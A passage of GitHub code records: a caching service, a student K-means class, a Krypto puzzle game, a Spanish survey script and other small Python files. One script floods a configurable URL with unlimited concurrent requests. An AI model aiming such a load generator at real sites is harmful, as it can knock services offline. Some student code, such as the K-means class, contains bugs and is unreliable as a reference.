{\"status\": \"use\", \"run_id\": run_id, \"event_id\": event_id}\n )\n print(\"Just cached the waveform for run \", run_id, \"and event \", event_id)\n\n\ndef process_events(run_id):\n \"\"\"\n Fetches/loads the events from a run\n\n Args:\n run_id (str): Run ID of the run\n \"\"\"\n print(\"starts processing events for run \", run_id)\n try:\n events = load_events(run_id)\n cache_events(run_id, events, \"\")\n except Exception as e:\n print(\"An exception occured \", e)\n traceback.print_tb(e.__traceback__)\n if hasattr(e, \"message\"):\n cache_events(run_id, None, e.message)\n else:\n cache_events(run_id, None, \"Data Not Available\")\n finally:\n document = my_request.delete_one({\"status\": \"use\", \"run_id\": run_id})\n print(\"Just cached the events for run \", run_id)\n\n\ndef fetch_request():\n \"\"\"\n Fetches and process requests\n \"\"\"\n while True:\n document = my_request.find_one_and_update(\n {\"status\": \"new\"}, {\"$set\": {\"status\": \"use\"}}\n )\n while document:\n request = document[\"request\"]\n if request == \"waveform\":\n run_id = document[\"run_id\"]\n event_id = document[\"event_id\"]\n process_waveform(run_id, event_id)\n else:\n run_id = document[\"run_id\"]\n process_events(run_id)\n document = my_request.find_one_and_update(\n {\"status\": \"new\"}, {\"$set\": {\"status\": \"use\"}}\n )\n # Sleep the app if no new requests\n time.sleep(10)\n\n\nif __name__ == \"__main__\":\n print(\"service starting\")\n my_run.delete_one({})\n my_run.insert_one({\"runs\": [*xenon1t_runs, *xenonnt_runs]})\n my_software.delete_one({})\n my_software.insert_one({\"strax\": strax.__version__, \"straxen\": straxen.__version__})\n threads = []\n for i in range(0, min(8, cpu_count)):\n t = Thread(target=fetch_request, daemon=True)\n threads.append(t)\n t.start()\n # Main thread sleeps for 1 day and terminates\n # Daemonic threads are terminated automatically\n time.sleep(60 * 60 * 24)\n","repo_name":"cheryonthetop/waveform-watcher","sub_path":"data-caching/cache_service.py","file_name":"cache_service.py","file_ext":"py","file_size_in_byte":7160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"38521561628","text":"# 617 JungEun : 230607 WED mission 21 (1)\n# 3th type1-1\n# 2022년 데이터 중 2022년 중앙값보다 큰 값의 데이터 수\n\n# 1. Data and libraries\n\nimport pandas as pd\ndf = pd.read_csv(\"../input/big-data-analytics-certification/t1-data2.csv\", index_col='year')\n\n\n# 2. get the year of index '2022' and median\nyear22 = df.loc[df.index[0], :]\nmed22 = year22.median()\n\n\n# 3. count them if over the median\nprint(len(year22[year22>med22]))\n\n# 50\n\n\n\n# solution\nm = df.loc[\"2022년\"].median()\nprint(sum(df.loc[\"2022년\",:] > m))\n","repo_name":"Angela-Park-JE/certificate_study","sub_path":"Big_Data_Analyst/작업형1/previoustest-03-T1-1.py","file_name":"previoustest-03-T1-1.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73742447723","text":"\"\"\"\nScript to make infinite requests to endpoint\n\"\"\"\n\nimport asyncio\nimport click\nfrom aiohttp import ClientSession, TCPConnector\nfrom pypeln import asyncio_task as aio\nfrom itertools import repeat\n\n\nasync def fetch(url, session):\n \"\"\"\n Make an async request\n \"\"\"\n async with session.get(url) as response:\n await response.read()\n print(response._body)\n\n\n@click.command()\n@click.option(\"--task-limit\", default=100, help=\"Limit of concurrent tasks\")\n@click.option(\"--url\", default=\"http://endpoint:80/\", help=\"url to send requests\")\ndef main(task_limit, url):\n \"\"\"\n CLI main function\n \"\"\"\n urls = repeat(url)\n aio.each(\n fetch,\n urls,\n workers=task_limit,\n on_start=lambda: ClientSession(connector=TCPConnector(limit=None)),\n on_done=lambda _status, session: session.close(),\n run=True,\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"josh-gree/showcase_project","sub_path":"requests/src/infinite_requests.py","file_name":"infinite_requests.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10615504238","text":"import matplotlib.pyplot as plt\r\nfrom matplotlib import style\r\nstyle.use('ggplot')\r\nimport numpy as np\r\n#from sklearn.cluster import KMeans\r\n\r\nclass K_Means:\r\n def _init_(self, k = 2, tot=0.001, max_iter=300):\r\n self.k = k\r\n self.tot = tot\r\n self.max_iter = max_iter\r\n\r\n def fit(self, data):\r\n self.centroids = {}\r\n\r\n for i in range(self.k):\r\n self.centroids[i] = data[i]\r\n\r\n for i in range(self.max_iter):\r\n self.classifications = {}\r\n\r\n for i in range(self.k):\r\n self.classifications[i] = []\r\n\r\n for features in X :\r\n dist = [np.linalg.norm(features-self.centroids[centroid]) for centroid in self.centroids]\r\n classification = dist.index(min(dist))\r\n self.classifications[classification].append(features)\r\n\r\n prev_centroids = dict(self_centroids)\r\n\r\n for classification in self.classifications:\r\n self.centroids[classification] = np.average(self.classifications[classification],axis=0)\r\n optimized=True\r\n\r\n for c in self.centroids:\r\n original_centroid = prev_centroids[c]\r\n current_centroid = self.centroids[c]\r\n if np.sum((current_centroid-original_centroid)/original_centroid*100.0)> self.tot:\r\n print(np.sum((current_centroid-original_centroid)/original_centroid*100.0))\r\n optimized=False\r\n \r\n \r\n if optimized:\r\n break\r\n\r\n def predict(self, data):\r\n dist = [np.linalg.norm(data-self.centroids[centroid]) for centroid in self.centroids]\r\n classification = dist.index(min(dist))\r\n return classification\r\nX = np.array([[1, 2],\r\n [1.5, 1.8],\r\n [5, 8],\r\n [8, 8],\r\n [1, 0.6],\r\n [9, 11]])\r\n\r\nplt.scatter(X[:,0], X[:,1], s=150)\r\nplt.show()\r\n\r\n\r\n\r\ncolors = 10*[\"g\",\"r\",\"c\",\"b\",\"k\"]\r\n\r\nclf = K_Means()\r\nclf.fit(X)\r\n\r\nfor centroid in clf.centroids:\r\n plt.scatter(clf.centroids[centroid][0], clf.centroids[centroid][1], marker=\"o\", color=\"K\", s=150, linewidths=5)\r\n\r\nfor classification in clf.classifications:\r\n color = colors[classification]\r\n for features in clf.classifications[classification]:\r\n plt.scatter(features[0], features[1], marker=\"o\", color=color, s=150, linewidths=5)\r\n\r\nuk = np.array([[1,3],\r\n [0,3],\r\n [8,9],\r\n [5,4],\r\n [6,4],])\r\nfor u in uk:\r\n classification = clf.predict(u)\r\n plt.scatter(u[0], u[1], marker='*',color=colors[classification], s=150, linewidths=5)\r\n \r\n\r\n\r\n\r\nplt.show() \r\n","repo_name":"shikhalakra22/machine_Learning","sub_path":"customkmeans.py","file_name":"customkmeans.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40176124061","text":"\n# 将文本写入类似于文件的对象上\nif __name__ == '__main__':\n import io\n # s相当于一个虚拟的txt文件\n s = io.StringIO()\n\n s.write('Hello World\\n')\n print('This is a test', file=s)\n\n s.getvalue()\n\n # 也可以像txt那样的读取\n s = io.StringIO('Hello\\nWorld\\n')\n s.read(4) # 读完出来就没有了,相当于pop\n s.read()\n s.read()\n\n # io.StringIO只能进行文本的处理,二进制要使用io.BytesIO\n","repo_name":"ein0920/Tutorial","sub_path":"f_文件与IO/d_在字符串上执行IO操作.py","file_name":"d_在字符串上执行IO操作.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"71664138283","text":"\"\"\"\n Created by I-M Siegel\n Updated 10-8-21\n\n Facilitates a Krypto game/puzzle.\n\n How krypto works:\n The user is given six distinct random numbers between 1 and 25, inclusive.\n The user comes up with mathematical expressions using arithmetic operators\n and each of the first five numbers, which must evaluate to the sixth\n number.\n\n This program provides the user with six numbers and evaluates user's\n proposed solutions. When the user enters 'quit', the program prints\n any correct solutions that the user entered.\n\n The program takes an optional seed for its random number generator.\n\n When evaluating mathematical expressions, the program ignores normal order\n of operations. It evaluates expressions from left to right, except where\n parentheses indicate otherwise.\n\n Accepted mathematical operations are multiplication (*), division (/),\n addition (+), subtraction (-), factorial (!), exponent (^) and root (v).\n Note: for radical operations, the index must come after the radicand\n (sqrt(x) is written as x v 2).\n\n --------------------------------------------------------------------------\n\n NOTE: This program intentionally does not import other Python libraries to\n help with evaluating the mathematical operations or obtaining random\n numbers. This means that the pseudorandom number generator in particular\n isn't that random because it can't incorporate some variable element, like\n time, into how it selects numbers.\n\n --------------------------------------------------------------------------\n\n EXAMPLE RUN:\n To distinguish user input from output, input is in single quotes here.\n\n If you would like to provide a seed for the random numbers,\n enter it here.\n Otherwise, just hit 'enter' to start: '4'\n\n Numbers: 20, 17, 16, 24, 10.\n Target: 22\n\n Enter solution: '17 + 24 / (16 v (20 /10))'\n Evaluates to 10.25, not 22.\n Try again.\n\n Numbers: 20, 17, 16, 24, 10.\n Target: 22\n Enter solution: '17 + (24 / (16 v (20 /10)))'\n One off!\n\n Numbers: 20, 17, 16, 24, 10.\n Target: 22\n Enter solution: '20 / (24 + 16 / 10) + 17'\n Krypto!\n\n Numbers: 20, 17, 16, 24, 10.\n Target: 22\n Enter solution: 'q'\n\n Your solutions:\n One off: 17 + (24 / (16 v (20 /10))) = 23\n Krypto: 20 / (24 + 16 / 10) + 17 = 22\n Good work!\n\"\"\"\n\n# Acceptable operators\nACCEPTED_OPERATORS = [\"*\", \"/\", \"+\", \"-\", \"!\", \"^\", \"v\"]\n\n\ndef main():\n \"\"\"\n Prints instructions.\n If user doesn't enter quit code, gets and prints pseudorandom numbers,\n then starts accepting user answers.\n Once user enters quit code, prints user's solutions and\n 'Good Work! message.\n \"\"\"\n # Print instructions and get optional seed for random number generator\n sd = print_instructions()\n\n # Run game unless the user wants to quit immediately\n if not (sd == \"q\" or sd == \"quit\"):\n\n # Convert sd to int, if sd exists\n if sd:\n sd = int(sd)\n\n # Get krypto numbers\n numbers, target = get_numbers(sd)\n\n # Print numbers for user\n print_numbers(numbers, target)\n\n # Get user's solutions and print them (if they exist) when user quits\n solutions = get_solutions(numbers, target)\n if solutions:\n print(\"\\n\" + solutions + \"Good work!\")\n\n\ndef print_instructions():\n \"\"\"\n Prints Krypto instructions for user and gets optional seed for random\n number generator.\n\n Return: (string) seed: optional, seed for random number generator\n or quit message.\n \"\"\"\n print(\"\\nWelcome to the game of Krypto!\\n\")\n print(\"Here's how it works:\")\n print(\"I'll give you five random numbers between 1 and 25.\")\n print(\"You need to figure out how to use them to get to\"\n \" a sixth random number,\\nthe 'target.'\\n\")\n print(\"You can use multiplication, division, addition, subtraction,\\n\"\n \"exponentiation, radicals, and factorials:\\n\")\n print_operator_key()\n print(\"NOTE: PROGRAM DOES NOT RECOGNIZE NORMAL ORDER OF OPERATIONS:\\n\"\n \" Operations proceed from left to right, except where\\n\"\n \" parentheses indicate otherwise.\\n\")\n print(\"You must use all five numbers, and you cannot repeat them.\\n\")\n print(\"Enter each solution you think you've come up with.\")\n print(\"Solutions that are 1-off from the target are okay, too.\\n\")\n print(\"Enter 'q' or 'quit' at any time to quit.\\n\")\n print(\"If you would like to provide a seed for the random numbers,\\n\"\n \"enter it here.\")\n seed = input(\"Otherwise, just hit 'enter' to start: \")\n\n return seed\n\n\ndef get_numbers(sd):\n \"\"\"\n Gets five distinct pseudorandom integers between 1 and 25, inclusive.\n\n Parameter: (int) sd: optional seed for pseudorandom number generator.\n Return: (ints) num1, num2, num3, num4, num5: distinct random ints.\n \"\"\"\n numbers = []\n\n if not sd:\n sd = 7\n num1 = random_int(seed=sd)\n numbers.append(num1)\n\n # Make sure num2 is distinct from num1\n num2 = num1\n while num2 in numbers:\n num2 = random_int(seed=num2)\n numbers.append(num2)\n\n # Each number must be distinct from the rest\n num3 = num2\n while num3 in numbers:\n num3 = random_int(seed=num3)\n numbers.append(num3)\n\n # Each number must be distinct from the rest\n num4 = num3\n while num4 in numbers:\n num4 = random_int(seed=num4)\n numbers.append(num4)\n\n # Each number must be distinct from the rest\n num5 = num4\n while num5 in numbers:\n num5 = random_int(seed=num5)\n numbers.append(num5)\n\n # Each number must be distinct from the rest\n target = num5\n while target in numbers:\n target = random_int(seed=target)\n\n return numbers, target\n\n\ndef print_numbers(numbers, target):\n \"\"\"\n Prints elements 0-4 from numbers and prints target.\n\n Input:\n (list) numbers: list of 5 operand numbers.\n (int) target: target number\n \"\"\"\n\n print(\"\\nNumbers: {}, {}, {}, {}, {}.\\nTarget: {}\"\n .format(numbers[0], numbers[1], numbers[2], numbers[3], numbers[4],\n target))\n\n\ndef get_solutions(numbers, target):\n \"\"\"\n Prompt user to enter solutions until they enter 'q' or 'quit'.\n Adds valid solutions to string of solutions to return.\n\n Parameter: (int) target: target number to send to valid_solution()\n Return: (str) solutions: each valid solution the user entered\n \"\"\"\n\n # Initialize solutions string so it persists after loop\n solutions = \"\"\n\n # Get first attempted solution to use as loop condition\n attempt = input(\"\\nEnter solution: \")\n\n # Get and check attempted solutions until user quits\n while not (attempt == \"q\" or attempt == \"quit\"):\n\n # Add valid solutions (offset from target by no more than 1)\n offset = valid_solution(attempt, numbers, target)\n if offset in [-1, 0, 1]:\n\n # label solutions as one off or krypto for later printing\n label = \"One off: \" if offset else \"Krypto:\"\n\n if not solutions:\n # Wait to add header until there's one solution so solutions\n # can be empty if no valid solution has been entered.\n solutions += \"Your solutions:\\n\"\n # Tack new solutions onto end of solutions string\n solutions += \"{} {} = {}\\n\".format(label, attempt,\n target + offset)\n\n else:\n # Spacial message if solution fails\n print(\"Try again.\")\n\n # Next attempt\n print_numbers(numbers, target)\n attempt = input(\"Enter solution: \")\n\n # Contains all of user's correct solutions. Empty if no solutions entered.\n return solutions\n\n\ndef valid_solution(attempt, numbers, target):\n \"\"\"\n Validates that expression evaluates to target value.\n\n Parameters:\n (string) attempt: mathematical expression to be converted to list\n (list) numbers: ints that can appear in mathematical expression\n (int) target: number that mathematical expression should eval to\n\n Return:\n (int or float): 0 if expression evaluates to target\n +1 if expression evaluates to one greater,\n -1 if expression evaluates to one less.\n float('inf') as error value if format or elements\n of attempt are invalid for given krypto puzzle,\n or if expression doesn't evaluate to target or\n one off.\n\n Side effects: prints messages to user about success or failure of\n attempt.\n \"\"\"\n\n # Get string attempt as a list of numbers and operations as strings\n expression = get_list_expression(attempt, numbers)\n # If get_list_expression found issues with attempt, return False\n if not expression:\n return float('inf')\n\n # Get value of expression, or float('inf') if error with expression syntax\n value = evaluate_expression(expression)\n if value == float('inf'):\n return float('inf')\n\n # If expression evaluates to target, it's a krypto!\n if value == target:\n print(\"Krypto!\")\n return 0\n\n # If expression evaluates to target + or - 1, it's one off!\n elif value == target + 1:\n print(\"One off!\")\n return 1\n elif value == target - 1:\n print(\"One off!\")\n return -1\n\n # Otherwise it's not a valid solution\n else:\n print(\"Evaluates to {}, not {}.\".format(value, target))\n return float('inf')\n\n\ndef get_list_expression(attempt, numbers):\n \"\"\"\n Converts string mathematical expression into a list of all elements\n of given expression.\n\n Returns False if attempt uses any numbers that aren't in numbers\n list or if attempt uses operations that aren't in ACCEPTED_OPERATORS\n list.\n\n Parameter: (str) attempt: Mathematical expression with integers,\n +, -, *, /, !, ^, v, (, ), or spaces.\n Parameter: (int) target: Integer that attempt should evaluate to.\n\n Return: (list): list of strings representing\n numbers and operations from input string. Returns empty list\n if a number in attempt is not in parameter numbers, if any\n characters aren't numbers or in list of approved symbols,\n or if there's the wrong number of operations.\n \"\"\"\n\n # Count numbers used\n nums = 0\n\n # To hold each operand and operation in attempt\n expression = []\n\n # To store 2-digit numbers as iterating over string, one char at a time\n current_num_string = \"\"\n\n # Iterate over string to separate operands and operations instead of\n # using .split() in case user leaves out spaces\n for character in attempt:\n\n # Temporarily store digits in current_num_string for 2-digit numbers\n if character.isnumeric():\n current_num_string += character\n\n else:\n\n # If last number has ended and hasn't been appended to expression\n if current_num_string:\n\n # Confirm current number is one of the given numbers\n if int(current_num_string) not in numbers:\n print(current_num_string,\n \"isn't one of the given numbers.\", end=' ')\n return []\n\n else:\n # Add to expression list\n expression.append(current_num_string)\n current_num_string = \"\"\n nums += 1\n\n # Add valid operations to expression list\n if character in ACCEPTED_OPERATORS:\n expression.append(character)\n\n # Not operations, but valid symbols to include\n elif character in [\"(\", \")\"]:\n expression.append(character)\n elif character == \" \":\n continue\n\n # Anything else is an invalid symbols\n else:\n print(\"'\" + character + \"' is an invalid symbol.\", end=' ')\n return []\n\n # Need to append last number to list\n # Confirm current number is one of the given numbers\n if current_num_string:\n if int(current_num_string) not in numbers:\n print(current_num_string,\n \"isn't one of the given numbers.\", end=' ')\n return []\n else:\n # Add to expression list\n expression.append(current_num_string)\n nums += 1\n\n # Confirm correct number of numbers used\n if nums != 5:\n print(\"Incorrect number of numbers.\", end=' ')\n return []\n\n # Confirm all numbers used.\n missing_nums = False\n for n in numbers:\n if str(n) not in expression:\n print(\"Missing number {}.\".format(n), end=' ')\n missing_nums = True\n if missing_nums:\n return []\n\n return expression\n\n\ndef evaluate_expression(expression):\n \"\"\"\n Evaluate mathematical expression, represented by expression string.\n\n Parameter: (list) expression: mathematical expression. Each element\n is a string: integer, arithmetic operation or parentheses.\n\n Return: (int) value or (bool): value of expression or False if missing\n a close-parentheses.\n \"\"\"\n\n # Running value of expression\n value = 0\n\n # The next operand and operation to perform\n next_operand = 0\n next_operator = \"\"\n\n # Use a while loop so can conditionally change i's value as needed\n i = 0\n while i < len(expression):\n\n # Get numbers as operands\n if expression[i].isnumeric():\n if not value:\n value = int(expression[i])\n else:\n next_operand = int(expression[i])\n\n # Get operation to perform\n elif expression[i] in ACCEPTED_OPERATORS:\n next_operator = expression[i]\n\n # Parentheses --\n # Evaluate expression inside parentheses before proceeding\n elif expression[i] == \"(\":\n\n # Search for index of corresponding close-parenthesis\n j = i + 1\n extra_parens = 0\n while expression[j] != \")\" or extra_parens:\n if expression[j] == \"(\":\n extra_parens += 1\n elif expression[j] == \")\":\n extra_parens -= 1\n j += 1\n\n # In case user didn't enter corresponding close-parenthesis,\n # Don't index beyond end of list\n if j == len(expression):\n print(\"Missing close-parenthesis.\", end=' ')\n # Can't handle exceptions yet, so return inf\n return float('inf')\n\n # Recursively evaluate expression inside parentheses\n if not value:\n value = evaluate_expression(expression[(i + 1):j])\n else:\n next_operand = evaluate_expression(expression[(i + 1):j])\n\n # skip to other side of parentheses after evaluating val inside\n i = j\n\n # Evaluate new value based on next_operand and next_operation\n # Factorial is a unary operation.\n if (next_operand and next_operator) or (next_operator == \"!\"):\n value = operate(value, next_operator, next_operand)\n\n # Reset next_operand and next_operation so don't enter this block\n # without getting a new next_operand and new next_operation.\n # If operator was factorial, next_operand will already be 0\n next_operand = 0\n next_operator = \"\"\n\n # Increment i to iterate through list\n i += 1\n\n return value\n\n\ndef print_operator_key():\n \"\"\"\n Prints menu of operations and their corresponding symbols.\n \"\"\"\n print(\"* Multiplication\\n\"\n \"/ Division\\n\"\n \"+ Addition\\n\"\n \"- Subtraction\\n\"\n \"! Factorial\\n\"\n \"^ Exponentiation\\n\"\n \"v Root -- NOTE: Put the index AFTER the √ symbol,\\n\"\n \" Example: for the cube root of 8, write '8 v 3'\\n\")\n\n\ndef random_int(seed=7, max_num=25):\n \"\"\"\n Returns a pseudorandom integer between 1 and max_num, inclusive.\n\n Note: Written for a class before we've learned about the time library.\n A better default seed would be int((time.time() % 1) * 100)\n\n Parameters:\n (int) seed: seed for random number generation\n (int) max_num: maximum number that can be returned\n\n Returns:\n (int) num: pseudorandom number\n \"\"\"\n\n # If max_num is 25, then seeding 14 returns 14, but other seeds can\n # return 14, too.\n if max_num == 25 and seed == 3:\n seed = 2\n\n # Multiply seed by prime so generated numbers will work their way through\n # all ints between 1 and max_num\n # Add 1 after mod to shift range from [0 to (max_num - 1)]\n # to [1 to max_num]\n num = ((17 * seed + 1) % max_num) + 1\n\n # Make sure num doesn't = seed\n if num == seed:\n num = (num + 19) % max_num\n if num == seed or num == 0:\n num += 1\n\n return num\n\n\ndef operate(operand_1, operator, operand_2):\n \"\"\"\n Performs given mathematical operation on given operands.\n\n Parameters:\n (int or float) operand_1: first operand\n (string) operation: operation to perform\n (int or float) operand_2: second operand\n\n Return: (int or float): result of performing operation\n \"\"\"\n\n if operator == \"*\":\n return operand_1 * operand_2\n\n if operator == \"/\":\n return operand_1 / operand_2\n\n if operator == \"+\":\n return operand_1 + operand_2\n\n if operator == \"-\":\n return operand_1 - operand_2\n\n if operator == \"!\":\n return factorial(operand_1)\n\n if operator == \"^\":\n return operand_1 ** operand_2\n\n if operator == \"v\":\n return operand_1 ** (1 / operand_2)\n\n\ndef factorial(num):\n \"\"\"\n Returns factorial of given number.\n Returns 0 if num is negative or not an integer.\n \"\"\"\n # Can't take factorial of negatives or non-integers.\n # Running factorial() on a non-integer will eventually hit a negative val.\n if num < 0:\n print(\"Error: Can only take factorial of positive integers.\")\n # Error return 0 because outside expected range and evaluates to False\n return 0\n\n # Base case\n if num == 0:\n return 1\n\n # Recursive call\n else:\n return num * factorial(num - 1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"m-siegel/krypto","sub_path":"krypto.py","file_name":"krypto.py","file_ext":"py","file_size_in_byte":18751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"8135881238","text":"def is_colorful(arr):\r\n dic = {}\r\n arr_list = list(arr)\r\n for length in range(1, len(arr)+1):\r\n for starting_index in range(0, len(arr)-length+1):\r\n subseq = list(map(int, arr_list[starting_index:starting_index+length]))\r\n col_num = color_number(subseq)\r\n if col_num not in dic:\r\n dic[col_num] = 1\r\n else:\r\n return False\r\n return True\r\n\r\n\r\ndef color_number(arr_):\r\n if arr_:\r\n return arr_.pop(0)*color_number(arr_)\r\n else:\r\n return 1\r\n\r\nprint(is_colorful(\"356\"))\r\n","repo_name":"amir-daneshmand/Codes","sub_path":"Amir21_ColorfulNumbers_dictionaries.py","file_name":"Amir21_ColorfulNumbers_dictionaries.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"1590766755","text":"#!/usr/bin/python -tt\n# coding=utf-8\n\n\n\"\"\"\nrealizar y procesar una encuesta a N estudiantes en donde se les solicita nombre, \nedad, sexo, cantidad de asignaturas que están cursando y carrera \n(ingeniería civil , electronica electrinca, sistemas, industrial, \npsicologigia, veterinaria y economia)\nLos resultados que debe devolver el programa son los siguientes:\n\na) Número de hombres con menos de 18 años \nb) Número de mujeres con 18 o mas años\nc) Edad y carrera del menos de los hombres\nd) edad y carrera de la mayor de las mujeres\ne) Promedio de signaturas que cursan los estudiantes \n, sin importar sexo , edad ni carrera.\n\n\"\"\"\nimport pdb\n\ndef encuesta():\n\tsexo_hombres = []\n\tnombre_hombres = []\n\tedad_hombres = []\n\tcarrera_hombres = []\n\tcantidad_asignaturas_hombres = []\n\n\tsexo_mujeres =[]\n\tnombre_mujeres =[]\n\tedad_mujeres =[]\n\tcarrera_mujeres =[]\n\tcantidad_asignaturas_mujeres =[]\n\t\n\tvalidation_encuestados = True\n\twhile validation_encuestados:\n\t\ttry:\n\t\t\tencuestados = int(input(\"Ingrese el numero de encuestado: \"))\n\n\t\texcept Exception as e:\n\t\t\tprint(\"Ingrese un número por favor\")\n\t\telse:\n\t\t\tif encuestados <= 15 and encuestados >= 1:\n\t\t\t\tvalidation_encuestados = False\n\t\t\telse:\n\t\t\t\tprint(\"el numero debe ser menor a 11 pero mayor a 1\")\n\n\tfor index, value in enumerate(range(encuestados)):\n\t\tprint(\"encuestado numero {} \".format(index+1))\n\t\tvalidation_edad = True\n\t\twhile validation_edad:\n\t\t\ttry:\n\t\t\t\tedad = int(input(\"Ingrese su edad: \"))\n\t\t\texcept Exception as e:\n\t\t\t\tprint(\"Ingrese por favor bien su edad debe ser un numero \")\n\n\t\t\telse:\n\t\t\t\tif edad >= 18 and edad <= 110:\n\t\t\t\t\tvalidation_edad = False\n\t\t\t\telse:\n\t\t\t\t\tprint(\"su edad no valida\") \n\n\t\tvalidation = True\n\t\twhile validation:\n\t\t\tsexo = input(\"digite su genero, m para masculino y f para femenino: \")\n\t\t\tif sexo == 'm' or sexo == 'f':\n\t\t\t\tvalidation = False\n\n\t\tvalidation_name = True\n\t\twhile validation_name:\n\t\t\tname = input(\"deme su nombre \")\n\t\t\tif name.isalpha():\n\t\t\t\tvalidation_name = False\n\n\t\tvalidation_asignaturas = True\n\t\twhile validation_asignaturas:\n\t\t\tasignaturas = input(\"deme el numero de asignaturas: \")\n\t\t\tif asignaturas.isdigit():\n\t\t\t\tvalidation_asignaturas = False\n\n\t\tvalidation_carrera = True\n\t\twhile validation_carrera:\n\t\t\tprint(\"\"\"\n\t\t\t\t\t1. ingenieria civil \n\t\t\t\t\t2. ingenieria electronica \n\t\t\t\t\t3. ingenieria sistemas \n\t\t\t\t\t4. ingenieria industrial\n\t\t\t\t\t5. psicologigia\n\t\t\t\t\t6. veterinaria\n\t\t\t\t\t7. economia\n\t\t\t\t\"\"\")\n\t\t\tcarrera = input(\"Digite el número que corresponde a la carrera que estudio: \")\n\t\t\tif carrera.isdigit() and int(carrera) <=7 and int(carrera) >=1 :\n\t\t\t\tvalidation_carrera = False\n\n\t\tif sexo == 'm':\n\t\t\tsexo_hombres.append(sexo)\n\t\t\tnombre_hombres.append(name)\n\t\t\tedad_hombres.append(edad)\n\t\t\tcarrera_hombres.append(carrera)\n\t\t\tcantidad_asignaturas_hombres.append(int(asignaturas))\n\t\telse:\n\t\t\tsexo_mujeres.append(sexo)\n\t\t\tnombre_mujeres.append(name)\n\t\t\tedad_mujeres.append(edad)\n\t\t\tcarrera_mujeres.append(carrera)\n\t\t\tcantidad_asignaturas_mujeres.append(int(asignaturas))\n\n\n\t\t\tprint('sexo_hombres',sexo_hombres)\n\t\t\tprint('nombre_hombre',nombre_hombres)\n\t\t\tprint('edad_hombres',edad_hombres)\n\t\t\tprint('carrera_hombres',carrera_hombres)\n\t\t\tprint('cantidad_asignaturas_hombres',cantidad_asignaturas_hombres)\n\n\t\t\tprint('sexo_mujeres',sexo_mujeres)\n\t\t\tprint('nombre_mujeres',nombre_mujeres)\n\t\t\tprint('edad_mujeres',edad_mujeres)\n\t\t\tprint('carrera_mujeres',carrera_mujeres)\n\t\t\tprint('cantidad_asignaturas_mujeres',cantidad_asignaturas_mujeres)\n\ndef numero_Hombres_menos_18(arr):\n\tnumero_hombres_menores_18 = 0\n\tfor x in arr:\n\t\tif x < 18:\n\t\t\tnumero_hombres_menores_18 += 1\n\treturn numero_hombres_menores_18\n\ndef mujeres_mayores_18(arr):\n\tnumero_hombres_mayores_18 = 0\n\tfor x in range(arr):\n\t\tif x > 18:\n\t\t\tnumero_hombres_mayores_18 += 1\n\treturn numero_hombres_mayores_18\n\ndef edad_y_carrera_menor_hombres(arr_edad,arr_carrera,arr_nombre):\n\tpass\n\ndef edad_carrera_mayor_mujeres(arr_edad):\n\tpass\n\ndef promedio_de_asignaturas_estudiantes(arr_aignaturas_h,arr_aignaturas_m):\n\ttotal_array_asignaturas = arr_aignaturas_h + arr_aignaturas_m\n\t\n\tacco = 0\n\tfor x in arr_aignaturas_h + arr_aignaturas_m:\n\t\tacco += x\n\treturn acco/len(arr_aignaturas_h + arr_aignaturas_m) \n\n\n# a) Número de hombres con menos de 18 años \n# b) Número de mujeres con 18 o mas años\n# c) Edad y carrera del menor de los hombres\n# d) edad y carrera de la mayor de las mujeres\n# e) Promedio de signaturas que cursan los estudiantes \n# , sin importar sexo , edad ni carrera.\n\t\n\n\n\n\n\n\ndef main():\n\tencuesta()\n\n\nif __name__=='__main__':\n\tmain()\n","repo_name":"WilliamPerezBeltran/studying_python","sub_path":"ejerciciso_daniel/07_encuesta.py","file_name":"07_encuesta.py","file_ext":"py","file_size_in_byte":4514,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39447101780","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport torch\nimport NN_model as nnmod\nimport f_SchedulingDataProcess as datap\nimport p_RadioParameters as rp\nfrom tqdm import tqdm\nimport sys\nsys.path.insert(1, '../GraphDataset/')\nimport DataGenerator as data_gen\nfrom torch_geometric.loader import DataLoader\nimport os\nimport main_EDA as eda\nimport f_schedulers as scheduler\nimport f_nnAnzlysis as nna\n\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef main():\n main_path = '../'\n raw_paths_IAB_graph = main_path + '/GraphDataset/data_v4/raw/'\n processed_dir_IAB_graph = main_path + '/GraphDataset/data_v4/processed/'\n path_UE = main_path + '/database/DynamicTopology/data_v4/UE_database.csv'\n path_IAB = main_path + '/database/DynamicTopology/data_v4/IAB_database.csv'\n\n UE_table_database, IAB_table_database, IAB_graph_database = \\\n datap.load_datasets(path_ue_table=path_UE,\n path_iab_table=path_IAB,\n raw_path_iab_graph=raw_paths_IAB_graph,\n processed_path_iab_graph=processed_dir_IAB_graph)\n\n UE_table_rm_outlier, IAB_table_rm_outlier, IAB_graph_rm_outlier = \\\n eda.remove_outlier_spectrum(UE_table_database, IAB_table_database, IAB_graph_database, isPlot=False)\n\n modelV0 = scheduler.load_model(nnmod.ResourceAllocation3DNN_v4(),\n 'DNN_noise_V2', 17)\n # modelV0 = scheduler.load_model(nnmod.ResourceAllocation3DNN_v2(),\n # 'DNN_V1', 100)\n\n train_ue, valid_ue, test_ue = datap.data_split(np.array(UE_table_rm_outlier), is_all=True, type='UE')\n train_iab, valid_iab, test_iab = datap.data_split(np.array(IAB_table_rm_outlier), is_all=True, type='IAB')\n train_iab_graph, valid_iab_graph, test_iab_graph = datap.data_split(IAB_graph_rm_outlier,\n is_all=True, type='IAB-graph')\n\n minibatch_size = 